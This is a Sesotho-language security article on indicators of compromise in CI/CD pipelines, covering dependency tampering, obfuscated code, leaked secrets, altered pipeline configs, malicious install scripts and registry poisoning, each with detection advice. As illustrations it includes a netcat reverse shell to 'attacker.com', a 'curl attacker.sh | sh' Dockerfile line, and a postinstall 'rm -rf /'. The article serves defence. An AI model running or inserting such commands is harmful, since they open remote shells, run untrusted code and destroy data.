Selelekela: Matšoao a ho Sekisetsa Ts'ireletso ea Marang-rang ke afe?
Matšoao a ho sekisetsa ke matšoao a pele a temoso a hore sistimi ea hau kapa pipeline e ka ’na ea hlaseloa. Ka mantsoe a bonolo, matšoao a ho sekisetsa ke mesaletsa e siiloeng ke bahlaseli, joalo ka ha eka ke ntho e makatsang logins, liphetoho tsa difaele, kapa malware e patiloeng. Ho Tšireletso ea inthanete ea IOC, li sebetsa joaloka menoana ea matsoho sebakeng sa tlōlo ea molao, li u fa bopaki bo hlakileng ba hore ho na le ho hong ho phoso. Ka hona, ha bahlahisi ba botsa matšoao a ho sekisetsa ke afe, karabo ha e felle feela ho li-server kapa li-firewall, e boetse e kenyelletsa likotsi tse patiloeng mehleng ea kajeno. CI/CD pipelines.
Ho tsena pipelines, bahlaseli ba ka senya khoutu, ba kenya mekhoa e kotsi, kapa ba fetola mehato ea kaho ntle le ho hlokomeloa. Leha ho le joalo, litataiso tse ngata li ntse li shebane feela le li-server kapa marang-rang. Ka lebaka leo, ketane ea phepelo ea software e fetohile e 'ngoe ea lipheo tse bonolo ka ho fetisisa.
Ke ka lebaka leo ho fumana matšoao a ho sekisetsa ho CI/CD pipelines ke ea bohlokoa. Ka holim'a tsohle, e thusa lihlopha ho thibela malware, ho sireletsa liphiri le ho sireletsa mohato o mong le o mong oa ho fana ka software.
Matšoao a 10 a ka Sehloohong a ho Sekisetsa ho CI/CD Pipelines
Ha ho hlalosoa matšoao a ho sekisetsa, manane a mangata a shebana le li-server kapa marang-rang. CI/CD pipelines, bahlaseli ba siea menoana e fapaneng haholo. Ho lemoha matšoao ana ho bohlokoa bakeng sa tšireletso e sebetsang. Ka tlase ke matšoao a 10 a tšireletso ea inthanete a IOC ao moqapi le moenjiniere oa tšireletso ba lokelang ho a ela hloko.
1. Liphetoho tse Belaetsang tsa ho Itšetleha
E 'ngoe ea matšoao a mantlha a ho lumellana ho pipelines ke ntjhafatso e makatsang le e tshohanyetso ya ho itshetleha. Bahlaseli hangata ba sebedisa sebaka sa bahlahisi ba tshepo ho batsamaisi ba diphuthelwana ho eketsa diphuthelwana tse kotsi.
Mohlala, ka npm a package.json diff e ka kenyelletsa ka tšohanyetso:
Liphetoho tse joalo li ka bonahala li sireletsehile empa li ka kenya khoutu ea trojanized mohahong o mong le o mong.
Tšusumetso: meaho e senyehileng e jara malware mohloling.
Tlhahlobo: qobella litlhahlobo tsa ho itšetleha, ho latela faele ea ho notlela hoa fapana, le ho skena liphutheloana tse ncha ka linako tsohle.
2. Khoutu e sa Tsejoeng Meahong
Bangoli ba malware ba itshetlehile ka ho patisa ho qoba ditlhahlobo. Ka lebaka leo, sesupo sena sa ho sekisetsa ho CI/CD pipelines e ka ba e 'ngoe ea tse thata ka ho fetisisa ho li tšoara. Ha e le hantle, meputso e patehileng hangata e kenella lilaebraring tsa mohloli o bulehileng kapa litšoantšong tsa lijana ntle le tsebiso.
Ka mohlala:
- Sephutheloana sa PyPI se sebelisang
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Setšoantšo sa Docker se tletseng li-binary tsa UPX tse sa hlokahaleng.
- JavaScript e tletse
\x41\x42o phonyoha ho pata ba utsoang mangolo a tumello.
Tšusumetso: Khoutu e patiloeng e sebetsa ka lenyele nakong ea kaho kapa ea ts'ebetso, e leng se etsang hore sena e be lets'oao la bohlokoa ts'ireletsong ea inthanete ea IOC.
Tlhahlobo: Kopanya SAST ka ho skena ha malware ho tšoaea khoutu e kentsoeng kapa e pakiloeng. Ka holim'a tsohle, nka ho patoa e le letšoao le lefubelu le lokelang ho fuputsoa haholoanyane.
3. Liphiri tse Senotsoeng ho Git: Kotsi ea Tloaelehileng ea Ts'ireletso ea Inthanete ea IOC
CI/CD pipelinehangata ba rua liphiri ka kotloloho ho tsoa polokelongtshedimosetsong. Leha ho le jwalo, ha liphiri li hlaha ho Git, e ba e 'ngoe ea likarabo tse hlakileng ka ho fetisisa potsong ea "matšoao a ho sekisetsa ke afe ho pipelines?” Hang ha mangolo a tumello a fihla Git, bahlaseli ba ka a sebelisa hampe ka ho sa feleng.
Ka mohlala:
- A
.envfaele e nang leAWS_SECRET_KEY=. - Li-tokens li kenngoa
config.json. - Liphiri li ntse li bonahala nalaneng ea Git esita le ka mor'a ho tlosoa.
Tšusumetso: Linotlolo tse pepesitsoeng li fa bahlaseli phihlello e tobileng ho CI/CD pipelines, litsamaiso tsa maru, kapa li-database. Ka hona ena ke e 'ngoe ea matšoao a kotsi ka ho fetisisa a ho sekisetsa.
Tlhahlobo: tshebediso pre-commit hooks le mesebetsi ea CI bakeng sa ho skena ka lekunutu, le ho hlakola linotlolo tse lutlileng hang-hang. Ho feta moo, tiisa tokiso e iketsahallang ho fokotsa lifensetere tse pepesehang.
4. Ho sitisoa Pipeline Litlhophiso: Matšoao a Patehileng a ho Sekisetsa
Pipeline li-config ke lipheo tsa boleng bo holimo hobane phetoho e le 'ngoe hangata e sitisa mosebetsi oohle oa mosebetsiKa lebaka leo, e senyehile pipeline lifaele ke kotsi e kholo ea ts'ireletso ea inthanete ea IOC eo lisebelisoa tsa tlhokomelo tsa setso li e bonang hangata.
Ka mohlala:
Liketsong tsa GitHub:
- Ho GitLab: mosebetsi o kotsi o ekelitsoe ho
.gitlab-ci.ymle lahlang tlhahisoleseding e hlokolosi. - Ho Jenkins:
sh "nc -e /bin/bash attacker.com 4444".
Tšusumetso: Liphetoho tsena tse sa amohelwang li u fetola pipeline ho kena ka morao ho sa feleng bakeng sa bahlaseli, e leng se bonahalang eka ke sesupo sa ho sekisetsa.
Tlhahlobo: Ho phethahatsa di-config tse saennweng, ho hloka ditumello tsa PR, le ho beha leihlo bakeng sa mesebetsi e sa lebelloang. Ho feta moo, seta guardrails tse thibelang ka bohona mekhoa e fetotsoeng ea mosebetsi.
5. Ke tokelo IaC Liphoso
Litlhaloso tse fosahetseng tsa meralo ea motheo hangata li baka menyako e patiloeng. Ka lebaka leo, liphoso tse ikhethileng ho IaC ke kotsi ea ts'ireletso ea inthanete ea IOC ea khale.
Ka mohlala:
- Li-pod tsa ho fana ka litšebeletso tsa Kubernetes
privileged: true. - Lichate tsa Helm tse pepesang lits'ebeletso ka
0.0.0.0:22.
Tšusumetso: Bahlaseli ba fumana phihlello ea motheo kapa ba pepesa lits'ebeletso tsa kahare phatlalatsa. Ka lebaka leo, mathata ana a atolosa sebaka sa tlhaselo haholo.
Tlhahlobo: Etsa kopo IaC ho skena ho tiisa tokelo e nyane pele ho kopanngwa. Ho feta moo, etsa bonnete ba hore tlhophiso e 'ngoe le e 'ngoe e hlahlojoa e le karolo ea pipeline.
6. Mekhoa e sa Tloaelehang ea ho Haha
Bahlaseli hangata baa fetoha pipeline boitšoaro bo ka thellang liketsong tse mpe. Ka mantsoe a mang, mosebetsi o sa tloaelehang oa kaho ke e 'ngoe ea likarabo tse hlakileng tsa hore na matšoao a ho sekisetsa ke afe ho CI/CD pipelines.
Ka mohlala:
- E haha ho etsa likopo tsa marang-rang tse tsoang libakeng tse sa tloaelehang.
- Projeke ea Node.js e ile ea hlahisa PowerShell ka tšohanyetso nakong ea
npm install. - Mosebetsi oa CI oa ho jarolla li-binary tse kholo tse sa hlalosoang ho li-script tsa kaho.
Tšusumetso: Meaho e senyehileng e ka sebetsa e le libaka tsa kabo ea malware. Ka holim'a tsohle, e jala meputso e kotsi ho pholletsa le ts'ebetso e 'ngoe le e 'ngoe.
Tlhahlobo: Lekola li-log tsa kaho bakeng sa lits'ebetso kapa likhokahano tse sa lebelloang. Ho feta moo, lokisa tlhahlobo ea lintho tse sa tloaelehang ho tšoaea mekhoa e ka ntle ho tloaelo.
7. Lingoloa tsa Sephutheloana se Lonya e le Likotsi tsa Ts'ireletso ea Inthanete ea IOC
Batsamaisi ba liphutheloana ba tšehetsa potoloho ea bophelo hooks tseo bahlaseli ba li sebelisang hampe. Ka hona, lingoloa tse kotsi ho npm, PyPI, kapa Dockerfiles ke matšoao a matla a ho sekisetsa.
Ka mohlala:
- npm:
postinstallsengoloa se ntse se sebetsarm -rf /kapa ho beacon ho C2. - PyPI:
setup.pyho kenya khoutu e patiloeng ea Python ha ho kenngoa. - Faele ea Docker:
RUN curl attacker.sh | sh.
Tšusumetso: Tlhaselo e etsahala nakong ea ho kenya, pele ho teko efe kapa efe ea nako ea ts'ebetso. Ka lebaka leo, bahlahisi ba kanna ba se ke ba hlokomela ho fihlela e se e le morao haholo.
Tlhahlobo: Skena diphanele tsa di-manifest bakeng sa di-script tsa ho kenya. Ho feta moo, thibela tse kotsi hooks in CI/CD mesebetsi ho fokotsa ho pepesehela.
8. Matšoao a Chefo ea Registry a ho Sekisetsa
Bahlaseli ba nkela kapa ba fetola lintho tsa khale sebakeng sa ngoliso, 'me liketsahalo tsena ke mehlala ea libuka tsa thuto ea hore na ke matšoao afe a ho sekisetsa ketane ea phepelo. pipelines.
Ka mohlala:
- Letšoao la setšoantšo sa Docker le nchafalitsoe ka khutso ka lera le nang le trojanized.
- Sephutheloana sa kahare se nketsoe sebaka ke mofuta o chefo.
- ho qoela sebakeng sa mabitso sa npm, joalo ka
lodash-proxy.
Tšusumetso: Moaho o mong le o mong o sebelisang thepa ea maiketsetso ea ngoliso o ba kotsing. Hase seo feela, empa tumellano e namela lits'ebeletsong tse latelang.
Tlhahlobo: Qobella liteko tsa ho saena le botšepehi ho li-pull tsohle tsa ngoliso. Ho phaella moo, latela tšimoloho ea lintho tsa khale ka SBOM netefatso.
9. Mosebetsi o sa Tloaelehang oa Mosebelisi e le Bopaki ba IOC
Litlaleho tse sekiselitsoeng hangata li siea mesaletsa e sa tloaelehang. Ka hona, boitšoaro bo sa tloaelehang ba moqapi ke sesupo se matla sa ho sekisetsa.
Ka mohlala:
- Commite sutumelletsoa ka hora ea boraro hoseng ka nako ea lehae.
- Litumello tsa PR ka liakhaonto tsa matsatsi a phomolo.
- Pipelinee qalisoa ka makhetlo a sa tloaelehang.
Tšusumetso: Bahlaseli ba sebelisa hampe mangolo a tumello a utsoitsoeng ho kenya liphetoho tse kotsi. Etsoe, ba sa lumelloang commits e kopana habonolo le mekhoa e tloaelehileng ea ts'ebetso.
Tlhahlobo: ho hlokomela SCM mesebetsi bakeng sa ho se phethahale, ho tiisa MFA, le ho fetola matshwao kgafetsa. Ho phaella moo, hlokomela ka dintho tse belaetsang commit kapa mekhoa ea tumello.
10. Botšepehi bo hlolehileng kapa Litlhahlobo tsa ho saena ho IOC Cybersecurity
E tloaelehileng empa e hlokomolohuoa sesupo sa tumellano ke tlhahlobo ea botšepehi kapa ea ho saena e hlōlehileng. Ho IOC cybersecurity, liteko tsena li netefatsa hore khoutu kapa lintho tsa khale ke tsa 'nete. Ho li tlola hoa siea pipelinee pepesitsoe.
mehlala:
- Hash ea SHA256 e sa tsamaellaneng le checksum e lebelletsoeng.
- Tshaeno ea GPG e sieo kapa e sa nepahalang.
- An SBOM e bonts'a mesebetsi ea matsoho e sa saennoeng.
Tšusumetso: Ho hloleha ha botšepehi hangata ho bolela ho senya, ho chefoa ke registry, kapa ho entoa ka malware.
Tlhahlobo: Etsa hore ho be le liteko tsa ho saena ka bohona, tiisa netefatso ea checksum, 'me u thibele likarolo tse sa saennoeng. Ka holim'a tsohle, nka tlhahlobo e 'ngoe le e 'ngoe e hlōlehileng e le bopaki bo hlakileng ba ho sekisetsa.
CI/CD Matšoao a ho Sekisetsa Hantle
| Sesupo sa ho Sekisetsa (IOC) | Tšusumetso ho CI/CD Pipelines | Mokhoa oa ho lemoha |
|---|---|---|
| Liphetoho tse Belaetsang tsa ho Itšetleha | Bahlaseli ba kenya lilaeborari tse kotsi ho batsamaisi ba liphutheloana, e leng se lebisang ho meaho e kotsing. | Latela faele ea ho koala e fapana, e tiisa litlhahlobo tsa boitšepo, 'me e hlahloba boitšepo khafetsa. |
| Khoutu e sa Tsejoeng ho Meaho | Mejaro e patiloeng e sebetsa nakong ea ho haha kapa nako ea ts'ebetso ntle le ho fumanoa. | tshebediso SAST le ho skena malware ho tšoaea dipaterone tsa khoutu ya base64, hex, kapa pakete. |
| Liphiri li Senotsoe ho Git | Li-tokens tse lutlileng kapa linotlolo tsa API li fa bahlaseli phihlello e tobileng lits'ebetsong tsa bohlokoa. | Etsa li-scan tsa sephiri ho Git hooks le ho hlakola mangolo a tumello a dutlileng ka bohona. |
| E sitisitsoe Pipeline Lisebelisoa | Mesebetsi e fetotsoeng e lumella ho ntsha data kapa ho phehella ka hare CI/CD. | Hloka tumello ea PR, ho tiisa litlhophiso tse saennoeng, le ho beha leihlo pipeline liphetoho. |
| E na le tokelo IaC Liphoso | Mesebetsi e lumellang lintho ka ho feteletseng kapa mekhoa e sa sireletsehang e pepesa tikoloho ea maru. | Skena lifaele tsa Terraform, Kubernetes, le Helm bakeng sa ho sebelisa litokelo tse fokolang. |
| Mekhoa e sa Tloaelehang ea ho Haha | Pipelinee sebelisoa e le libaka tsa kabo ea malware kapa bakeng sa motsamao o ka thoko. | Hlahloba li-log tsa kaho bakeng sa lintho tse sa lebelloang tse jarollotsoeng, lits'ebetso, kapa mehala e tsoang. |
| Mengolo ea Liphutheloana Tse Mpe | Lingoloa tse patiloeng tsa pele/kamora ho kenya li baka mojaro oa meputso pele ho teko ea nako ea ho sebetsa. | Thibela lingoloa tse kotsi tsa npm/PyPI 'me u thibele ts'ebetso ho CI/CD mesebetsi. |
| Chefo ea Ngoliso | Lintho tsa khale tse entsoeng ka Trojan li nkela litšoantšo tse tšepahalang kapa li-binary sebaka li-registry. | Netefatsa li-checksum, tiisa netefatso ea ho saena, 'me u hlahlobe li-registry ka mokhoa o sebetsang. |
| Mosebetsi o sa Tloaelehang oa Mosebelisi | Liakhaonto tse senyehileng li sutumelletsa kotsi commits kapa seqholotsi pipelines. | Ho phethahatsa MFA, ho beha leihlo commitbakeng sa lintho tse sa tloaelehang, le ho sekaseka login mekhoa. |
| Ho Hloleha ha Botšepehi kapa Litlhahlobo tsa ho Tšoaea | E bontša khoutu e senyehileng, litšekamelo, kapa litšoantšo tse kenang pipeline. | Iketsahalletse ho hlahloba botšepehi 'me u thibele likarolo tse sa saennoeng kapa tse sa tsamaellaneng. |
Hobaneng ha Ts'ireletso ea Inthanete ea IOC ea Setso e sa Fumanehe CI/CD Likotsi
Mekhatlo e mengata e se e ntse e shebile matšoao a ho sekisetsa li-server, lik'homphieutha kapa marang-rang. Leha ho le joalo, mokhoa ona oa khale oa ts'ireletso ea inthanete ea IOC o hlokomoloha CI/CD pipelines, tseo hona joale e leng e 'ngoe ea libaka tsa tlhaselo tse bohlokoa ka ho fetisisa. Ha e le hantle, pipelineli bontša matšoao a ikhethang a ho sekisetsa ao lisebelisoa tsa setso li ke keng tsa a lemoha.
Matšoao a ho Sekisetsa Tšireletsong ea Setso
Ts'ireletsong ea inthanete ea IOC e tloaelehileng, hangata ho tsepamisoa maikutlo ho:
- e sa tloaelehang loginkapa liaterese tsa IP tse fanang ka maikutlo a hore mangolo a utsoitsoeng a utsoitsoe.
- Li-hashe tsa lifaele tse belaetsang kapa liphetoho tsa ngoliso tse senolang malware.
- Sephethephethe se sa lebelloang se tsoang se supang ho ntšetsoa ha data.
Tsena ke matšoao a tsebahalang haholo ao hape a lateloang ho MITER ATT&CK moralo, e bonts'ang mekhoa le maqiti a tloaelehileng a bahanyetsi. Tsena ke matšoao a thusang. Leha ho le joalo, li sebetsa haholo-holo lits'ebetsong tsa ts'ebetso kapa marang-rang a likhoebo. Ka lebaka leo, ba hloloheloa ho sitisoa ho poteletseng ho etsahalang pejana ketane ea phepelo ea software.
Ke hobane'ng ha CI/CD Pipelines Ba Fapaneng
CI/CD pipelineke libaka tse iketsang moo bahlahisi commit khoutu, ho hula ho itshetlehileng hodima tsona, le ho lokolla meaho. Bahlaseli ba a tseba hore ho sekisetsa ho le hong mona ho phalla hohle moo ho kenngwang teng. Ka hona, matshwao a ho sekisetsa ke afe ho CI/CD pipelineLi shebahala li fapane haholo:
- Ho itshetleha ho kotsi ho ekeditswe ka lenyele ho package.json kapa requirements.txt.
- Linotlolo tsa API kapa li-tokens li pepesitsoe ho Git commits kapa lifaele tsa .env.
- Khoutu e sa hlakang e kentsweng ka har'a liphutheloana tsa npm kapa PyPI.
- Lifaele tsa Terraform kapa Kubernetes tse nang le maemo a kamehla a sa sireletsehang joalo ka a nang le tokelo: 'nete.
- Pipeline mesebetsi e hlophisitsoeng ho ntša data kapa ho bula mamati a ka morao.
Matšoao ana a ho sekisetsa ho CI/CD ho lula ho sa bonahale ho standard lisebelisoa tsa ts'ireletso.
Lekhalo ho IOC Cybersecurity
Leha lihlopha tse ngata li utloisisa bohlokoa ba matšoao a ho sekisetsa, li ntse li itšetleha feela ka ho lemoha ho tsoa ho li-server le li-log tsa marang-rang. Ka hona, bahlaseli ba ka chefo ho haha kapa ho kenya malware ntle le ho siea mesaletsa e tloaelehileng. Ke ka lebaka leo liketsahalo tse kang XZ Utils backdoor kapa liphutheloana tsa npm tse kotsi li sa kang tsa fumanoa ho fihlela li fihla tlhahisong.
Mefuta ena ea litšebelisano tsa ketane ea phepelo le eona e totobatsoa ke CISTataiso ea ts'ireletso ea ketane ea phepelo ea A, e lemosang hore bahlaseli ba ntse ba hlasela CI/CD pipelinele lirejistri.
Thepa
Tšireletso ea inthanete ea setso ea IOC ea hlokahala empa ha ea lekana. Ka holim'a tsohle, lihlopha li tlameha ho lemoha matšoao a ho sekisetsa ho itseng ho CI/CD pipelines. Ke ka nako eo feela ba ka lemohang khoutu e kotsi kapa pipeline tlhekefetso pele e namela libakeng tsohle.





